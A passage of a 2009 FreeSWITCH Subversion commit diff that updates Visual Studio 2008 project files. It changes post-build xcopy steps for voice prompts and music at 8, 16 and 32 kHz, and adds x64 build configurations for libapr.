+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ivr\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ivr\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\conference\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\conference\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\time\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\time\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\digits\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\digits\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ascii\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ascii\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\misc\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\misc\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\currency\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\currency\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\phonetic-ascii\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\phonetic-ascii\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
 			/>
 		</Configuration>
 		<Configuration
@@ -55,7 +55,7 @@
 			/>
 			<Tool
 				Name="VCPostBuildEventTool"
-				CommandLine="if not exist &quot;$(OutDir)\sounds\en\us\callie\voicemail\16000&quot; xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;if not exist &quot;$(OutDir)\sounds\music\16000&quot; xcopy &quot;$(SolutionDir)libs\sounds\music\16000\*.*&quot; &quot;$(OutDir)\sounds\music\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ivr\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ivr\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\conference\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\conference\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\time\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\time\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\digits\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\digits\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ascii\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ascii\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\misc\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\misc\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\currency\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\currency\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\phonetic-ascii\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\phonetic-ascii\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
 			/>
 		</Configuration>
 	</Configurations>

Copied: freeswitch/branches/seven/libs/win32/Sound_Files/16khzmusic.2008.vcproj (from rev 14471, freeswitch/trunk/libs/win32/Sound_Files/16khzmusic.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/win32/Sound_Files/16khzmusic.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/win32/Sound_Files/16khzmusic.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="16khz music"
+	ProjectGUID="{BA599D0A-4310-4505-91DA-6A6447B3E289}"
+	RootNamespace="My16khzmusic"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\music\16000\*.*&quot; &quot;$(OutDir)\sounds\music\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\music\16000\*.*&quot; &quot;$(OutDir)\sounds\music\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/win32/Sound_Files/32khz.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Sound_Files/32khz.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Sound_Files/32khz.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,7 +33,7 @@
 			/>
 			<Tool
 				Name="VCPostBuildEventTool"
-				CommandLine="if not exist &quot;$(OutDir)\sounds\en\us\callie\voicemail\32000&quot; xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;if not exist &quot;$(OutDir)\sounds\music\32000&quot; xcopy &quot;$(SolutionDir)libs\sounds\music\32000\*.*&quot; &quot;$(OutDir)\sounds\music\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ivr\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ivr\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\conference\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\conference\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\time\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\time\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\digits\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\digits\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ascii\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ascii\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\misc\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\misc\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\currency\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\currency\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\phonetic-ascii\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\phonetic-ascii\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
 			/>
 		</Configuration>
 		<Configuration
@@ -55,7 +55,7 @@
 			/>
 			<Tool
 				Name="VCPostBuildEventTool"
-				CommandLine="if not exist &quot;$(OutDir)\sounds\en\us\callie\voicemail\32000&quot; xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;if not exist &quot;$(OutDir)\sounds\music\32000&quot; xcopy &quot;$(SolutionDir)libs\sounds\music\32000\*.*&quot; &quot;$(OutDir)\sounds\music\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ivr\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ivr\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\conference\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\conference\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\time\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\time\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\digits\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\digits\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ascii\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ascii\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\misc\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\misc\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\currency\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\currency\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\phonetic-ascii\32000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\phonetic-ascii\32000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
 			/>
 		</Configuration>
 	</Configurations>

Copied: freeswitch/branches/seven/libs/win32/Sound_Files/32khzmusic.2008.vcproj (from rev 14471, freeswitch/trunk/libs/win32/Sound_Files/32khzmusic.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/win32/Sound_Files/32khzmusic.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/win32/Sound_Files/32khzmusic.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="32khz music"
+	ProjectGUID="{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}"
+	RootNamespace="My32khz music"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\music\32000\*.*&quot; &quot;$(OutDir)\sounds\music\32000&quot; /C /D /Y /S /I"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\music\32000\*.*&quot; &quot;$(OutDir)\sounds\music\32000&quot; /C /D /Y /S /I"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/win32/Sound_Files/8khz.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Sound_Files/8khz.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Sound_Files/8khz.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,7 +33,7 @@
 			/>
 			<Tool
 				Name="VCPostBuildEventTool"
-				CommandLine="if not exist &quot;$(OutDir)\sounds\en\us\callie\voicemail\8000&quot; xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;if not exist &quot;$(OutDir)\sounds\music\8000&quot; xcopy &quot;$(SolutionDir)libs\sounds\music\8000\*.*&quot; &quot;$(OutDir)\sounds\music\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ivr\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ivr\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\conference\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\conference\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\time\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\time\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\digits\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\digits\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ascii\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ascii\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\misc\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\misc\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\currency\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\currency\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\phonetic-ascii\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\phonetic-ascii\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
 			/>
 		</Configuration>
 		<Configuration
@@ -55,7 +55,7 @@
 			/>
 			<Tool
 				Name="VCPostBuildEventTool"
-				CommandLine="if not exist &quot;$(OutDir)\sounds\en\us\callie\voicemail\8000&quot; xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;if not exist &quot;$(OutDir)\sounds\music\8000&quot; xcopy &quot;$(SolutionDir)libs\sounds\music\8000\*.*&quot; &quot;$(OutDir)\sounds\music\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ivr\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ivr\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\conference\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\conference\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\time\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\time\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\digits\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\digits\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\ascii\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\ascii\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\misc\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\misc\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\currency\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\currency\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\phonetic-ascii\8000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\phonetic-ascii\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
 			/>
 		</Configuration>
 	</Configurations>

Copied: freeswitch/branches/seven/libs/win32/Sound_Files/8khzmusic.2008.vcproj (from rev 14471, freeswitch/trunk/libs/win32/Sound_Files/8khzmusic.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/win32/Sound_Files/8khzmusic.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/win32/Sound_Files/8khzmusic.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="8khz music"
+	ProjectGUID="{D1ABE208-6442-4FB4-9AAD-1677E41BC870}"
+	RootNamespace="8khz music"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\music\8000\*.*&quot; &quot;$(OutDir)\sounds\music\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="xcopy &quot;$(SolutionDir)libs\sounds\music\8000\*.*&quot; &quot;$(OutDir)\sounds\music\8000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Property changes: freeswitch/branches/seven/libs/win32/apr


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
*.suo
   + Debug
Release
*.ncb
*.user
*.bak
*.suo
x64

Modified: freeswitch/branches/seven/libs/win32/apr/libapr.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/apr/libapr.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/apr/libapr.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -113,6 +116,101 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)\$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\include\&quot; md  &quot;$(ProjectDir)..\..\include\&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr\include\apr.h&quot; type &quot;$(ProjectDir)apr.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr\include\apr.h&quot;&#x0D;&#x0A;xcopy &quot;$(ProjectDir)..\..\apr\include\*.h&quot; &quot;$(ProjectDir)..\..\include\&quot; /C /D /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Debug/libapr.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalOptions="/EHsc "
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\..\apr\include&quot;;&quot;..\..\apr\include/arch&quot;;&quot;..\..\apr\include/arch/win32&quot;;&quot;..\..\apr\include/arch/unix&quot;"
+				PreprocessorDefinitions="_DEBUG;APR_DECLARE_EXPORT;WIN32;_WINDOWS"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug/libapr.pch"
+				ProgramDataBaseFileName="$(IntDir)\libapr_src"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG,APR_VERSION_ONLY"
+				Culture="1033"
+				AdditionalIncludeDirectories="..\..\apr\include"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib mswsock.lib rpcrt4.lib advapi32.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\Debug/libapr-1.pdb"
+				SubSystem="2"
+				BaseAddress="0x6EEC0000"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)libapr-1.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug/libapr.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(SolutionDir)Release"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -212,6 +310,104 @@
 				CommandLine=""
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\include\&quot; md  &quot;$(ProjectDir)..\..\include\&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr\include\apr.h&quot; type &quot;$(ProjectDir)apr.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr\include\apr.h&quot;&#x0D;&#x0A;xcopy &quot;$(ProjectDir)..\..\apr\include\*.h&quot; &quot;$(ProjectDir)..\..\include\&quot; /C /D /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Release/libapr.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="&quot;..\..\apr\include&quot;;&quot;..\..\apr\include/arch&quot;;&quot;..\..\apr\include/arch/win32&quot;;&quot;..\..\apr\include/arch/unix&quot;"
+				PreprocessorDefinitions="NDEBUG;APR_DECLARE_EXPORT;WIN32;_WINDOWS"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release/libapr.pch"
+				ProgramDataBaseFileName="$(IntDir)\libapr_src"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG,APR_VERSION_ONLY"
+				Culture="1033"
+				AdditionalIncludeDirectories="..\..\apr\"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib mswsock.lib rpcrt4.lib advapi32.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\Release/libapr-1.pdb"
+				SubSystem="2"
+				OptimizeReferences="2"
+				BaseAddress="0x6EEC0000"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)libapr-1.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release/libapr.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -752,6 +948,14 @@
